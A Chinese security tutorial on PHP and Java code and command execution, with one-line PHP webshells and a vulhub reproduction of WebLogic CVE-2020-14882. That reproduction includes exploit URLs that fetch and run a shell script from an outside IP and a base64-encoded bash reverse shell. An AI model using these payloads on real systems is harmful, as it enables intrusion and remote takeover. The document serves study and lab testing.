PHP代码执行
1.代码执行漏洞
PHP脚本语言虽简洁方便,但存在速度慢、无法接触系统底层等问题,在web程序中,程序员为追求代码灵活性与简洁性,会适当调用代码执行函数,若未充分考虑用户是否会使用与控制,就可能导致web应用存在代码执行漏洞。
2.常见的代码执行函数
(1)直接执行
eval(phpcode)
- 函数作用:
将传入的字符串当作php代码脚本进行执行
<?php
$data=$_POST['cmd'];
eval("$data");
?>
内部可执行多条语句,使用;进行间隔即可。但是即使只执行一句话,也要加上;,否则会报错
assert断言函数(phpcode)
- 函数作用:
将传入的字符串当作php代码脚本进行执行
<?php
$data=$_POST['cmd'];
assert("$data");
?>
区别:assert只能执行单个函数,不能执行一个操作,例如echo xxx。另外assert也不支持执行多条语句。
assert可以通过eval的特性执行多条语句。
$code = "eval(\"system('dir');system('whoami');\");";
@assert($code);
preg_replace()+/e模式
-
函数作用:
匹配指定内容并将其进行替换
/e可执行模式,为PHP专有参数。(php7.0以后不再支持/e修饰)
<?php
# 如果第一个正则表达式能够匹配上第三个参数, 就会把第二个参数当作代码执行
@preg_replace("/test/e",$_POST[cmd],"test");
?>
create_function()匿名函数
-
函数作用:
为变量或对象创建一个匿名函数
create_function ( string $args , string $code )
<?php
$func=create_function('$a','system($a);');
$func("dir");
?>
(2)回调执行
!!!回调执行只能和上面的函数搭配使用
call_user_func()
-
函数作用:
第一个参数作为回调函数调用, 其余参数是回调函数的参数
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
- 直接利用
<?php
call_user_func("system","dir");
#等同于执行 system(dir);
#如果有固定的两个参数位置,但是要执行无参函数,可以让第二个参数为-1
call_user_func("phpinfo",-1);
#如果这个函数的两个参数可控, 会造成代码执行
call_user_func($_GET['a1'],$_GET['a2']);
#index.php?a1=assert&a2=phpinfo() #执行执行代码
?>
注意: eval()在PHP中不被视为一个普通的函数,而是一个语言构造器。由于其特殊性,它不像普通的函数可以作为回调传递给call_user_func(), 所以所有的回调形式都无法调用eval
call_user_func_array()
-
函数作用:
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
call_user_func_array ( callable $callback , array $param_arr )
- 直接利用
#echo substr("hello",0,2);
echo call_user_func_array("substr",Array("hello",0,2));
HTTP中使用注意需要传入数组
<?php
call_user_func_array($_GET['a1'],$_GET['a2']);
?>
如果在PHP的请求参数中使用参数名[]=值进行传参,会传入一个数组。可以通过index.php?a1=system&a2[]=whoami执行命令。
array_map()回调函数
-
函数作用:
回调函数,可以使用别的函数
和call_user_func_array基本一样
array_map ( callable $callback , array $array1 [, array $… ] )
<?php
$a=array("a"=>"");
$a['a']=$_GET['cmd'];
print_r($a);
echo "<br/>";
array_map($_GET['func'],$a);
highlight_file("array_map.php");
?>
- 进阶使用(一句话)
<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>
index.php?1=assert&2=phpinfo(); #代码执行
array_filter()
-
函数作用:
把输入数组中的每个键值传给回调函数。如果回调函数返回true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变
和array_map的区别是第一个和第二个参数对调了
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
- 直接利用
<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>
index.php?1=whoami&2=system #命令执行
array_walk()
-
函数作用:
使用用户自定义函数对数组中的每个元素做回调处理。
和array_filter差不多
array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
- 直接利用
<?php array_walk($_GET['a'],$_GET['b']); ?>
index.php?a[]=phpinfo()&b=assert #代码执行
ob_start()
-
函数作用:
打开输出控制缓冲将执行的函数使用回调方式调用,后续echo传入参数并执行。
ob_end_flush()后取得输出结果并返回。
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
- 直接利用
<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>
?a=whoami
动态函数调用
<?php $_GET[1]($_GET[2]);?>
index.php?1=assert&2=phpinfo(); #代码执行
3.代码执行漏洞实例
Thinkphp5.0.22/5.1.29远程代码执行漏洞
Discuz X3.2 远程代码执行漏洞
POC**
https://baijiahao.baidu.com/s?id=1639184109788778357&wfr=spider&for=pc
JAVA命令执行
java的命令执行实际上是打开一个进程而不是执行命令
1.Runtime类
//单例模式实例化 使用Runtime.getRuntime() 访问静态方法进行实例化
Runtime runtime = Runtime.getRuntime();
//命令执行 调用runtime对象的exec方法 , 传入需要执行的命令, 执行后返回process对象
Process process = runtime.exec("whoami");
//获取执行结果的输入流
InputStream inputStream = process.getInputStream();
//循环装箱读取
int a = -1;
byte[] bytes = new byte[100];
while((a = inputStream.read(bytes)) != -1){
//输出执行结果
System.out.println(new String(bytes));
};
2.processbuilder类
processbuilder 为 Runtime.exec的底层实现
//实例化为processbuilder对象 向构造方法传入执行的命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
//执行命令, 返回process对象
Process pb = processBuilder.start();
//获取执行命令程序的输入流
InputStream inputStream = pb.getInputStream();
//循环装箱读取
int a = -1;
byte[] bytes = new byte[100];
while((a = inputStream.read(bytes)) != -1){
//输出执行结果
System.out.println(new String(bytes));
};
3.Processmpl类
ProcessImpl是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类。
类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的。
public static String vul(String cmd) throws Exception {
// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
Class clazz = Class.forName("java.lang.ProcessImpl");
// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);
// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
Process process = (Process) method.invoke(null, new String[]{cmd}, null, null,null, false);
}
命令执行的问题
1.编码问题
转为GBK编码读取
使用缓冲流读取结果
Process process = Runtime.getRuntime().exec("ipconfig");
BufferedReader bufferedReader = new BufferedReader(new
InputStreamReader(process.getInputStream(),"gbk")); //windows转换GBK编码避免乱码
for (String s = null; (s = bufferedReader.readLine())!= null; ) {
System.out.println(s);
}
2.执行环境
部分命令需要加上壳程序
//判断系统类型
String os = System.getProperty("os.name").toLowerCase();
String shell = "";
if (os.contains("win")) {
shell = "cmd /c ";
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
shell = "bash -c ";
}
//带入执行
Process process = Runtime.getRuntime().exec(shell+"whoami&&ipconfig");
BufferedReader bufferedReader = new BufferedReader(new
InputStreamReader(process.getInputStream(),"gbk")); //windows转换GBK编码避免乱码
for (String s = null; (s = bufferedReader.readLine())!= null; ) {
System.out.println(s);
}
3.Exec方法的重载
(1)执行命令方法的重载
Runtime.getRuntime().exec("whoami");
所以主要是第二个方法
b.传入命令执行的字符串数组, 按照空格进行分割
runtime.exec(new String[]{"cmd","/c","net","user", "&&" ,"whoami"});
(2)linux反弹shell
不能直接bash -i 的原因
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
转换方法
https://tools.whhlwa.cn/tools/runtime-exec-payloads/
(3)不同漏洞利用写shell的区别
命令执行
php: 命令执行的目录在当前php文件所属的目录,但是不是所有情况都这样,如果PHP使用路由,那么执行位置有可能不同。
java: 命令执行的目录都在中间件的主目录 。
比如tomcat在tomcat/bin
weblogic在user_projects/domains/base_domain
网站根目录需要单独判断。
代码执行
php或java: 通过代码判断路径,然后将指定webshell写入指定目录。
SQL注入
mysql: 需要知道网站根目录。
文件上传
需要知道上传后的文件目录。
4.CVE-2020-14882漏洞复现
启动环境
cd /root/vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
证明漏洞存在
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl+139.224.188.165:8080/aa');")

反弹shell
方法1: 远程下载sh文件,然后执行
#先到目标服务器上下载sh文件
http://xxx/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"curl","-O","139.224.188.165:8080/shell.txt"});")
#直接写成curl+-O+139.224.188.165:8080/shell.txt 也可以
#然后执行
http://xxx/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"bash","shell.txt"});")
#bash+shell.txt
方法2: 直接执行bash -i
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"bash","-c","
{echo,YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMzkuMjI0LjE4OC4xNjUvMTIzNDUgMD4mMQ%253d%253d}|{base64,-d}|{bash,-i}"});")
或直接用字符串类型的payload
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec("bash+-c+
{echo,YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMzkuMjI0LjE4OC4xNjUvMTIzNDUgMD4mMQ%253d%253d}|{base64,-d}|{bash,-i}");")

作者:晨星安全团队——谁来剪月光



